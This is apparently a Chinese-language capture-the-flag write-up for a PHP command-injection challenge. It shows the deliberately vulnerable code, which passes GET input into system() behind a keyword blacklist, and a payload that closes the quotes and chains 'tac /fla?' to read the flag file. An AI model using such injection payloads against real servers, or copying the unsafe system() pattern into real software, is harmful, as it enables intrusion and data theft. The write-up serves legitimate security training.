<?php
highlight_file(__FILE__);
$comm1 = $_GET['comm1'];
$comm2 = $_GET['comm2'];
if(preg_match("/\'|\`|\\|\*|\n|\t|\xA0|\r|\{|\}|\(|\)|<|\&[^\d]|@|\||tail|bin|less|more|string|nl|pwd|cat|sh|flag|find|ls|grep|echo|w/is", $comm1))
$comm1 = "";
if(preg_match("/\'|\"|;|,|\`|\*|\\|\n|\t|\r|\xA0|\{|\}|\(|\)|<|\&[^\d]|@|\||ls|\||tail|more|cat|string|bin|less||tac|sh|flag|find|grep|echo|w/is", $comm2))
$comm2 = "";
$flag = "#flag in /flag";
$comm1 = '"' . $comm1 . '"';
$comm2 = '"' . $comm2 . '"';
$cmd = "file $comm1 $comm2";
system($cmd);
?>
这道题第一眼我竟然觉得是原生类的题,该死。
如果是 新生类的话,system那里应该换为?new? a(b)这种的形式,
首先看最后system($cmd)这里,$cmd = "file $comm1 $comm2";,肯定要把file从命令中注释掉这种,以前接触过闭合然后自己重新构造一个🐎,但是这里好像管道符也可以使用 ;
$comm1 = '"' . $comm1 . '"'; $comm2 = '"' . $comm2 . '"'; 这个也就是给传入的参数加了一个引号包起来,然后往上继续查看过滤的字符号剩下什么
if(preg_match("/\'|\`|\\|\*|\n|\t|\xA0|\r|\{|\}|\(|\)|<|\&[^\d]|@|\||tail|bin|less|more|string|nl|pwd|cat|sh|flag|find|ls|grep|echo|w/is", $comm1)) ? ? $comm1 = "";
分号还有,并且tac也没 过滤,flag被过滤掉了但是可以用?模糊比较 if(preg_match("/\'|\"|;|,|\`|\*|\\|\n|\t|\r|\xA0|\{|\}|\(|\)|<|\&[^\d]|@|\||ls|\||tail|more|cat|string|bin|less||tac|sh|flag|find|grep|echo|w/is", $comm2)) ? ? $comm2 = "";
这个 里面禁用的比较全,就不用这个了
然后我直接传入了
comm1=;tac /fla?&comm2=1 ?
?
报错了查看信息是引号的问题,我们还需要闭合掉引号不然就变成了?
"? ?file " ;tac /fla??;" "? 1"? ? ? "?
?肯定是不对的最起码 system({"? ? ?")引号里面是全部的东西不能分着
就需要我们自己写入闭合
comm1= ";tac /fla?;"?
"? ?file " ";tac /fla?;"?" "? 1"? ? ? "?
这样就成功闭合掉了,然后其实还有一个疑问就是我cat /f*的时候也能用,可是|\*|\
不是被过滤了吗,希望有师傅可以解答一下。
?获得flag
|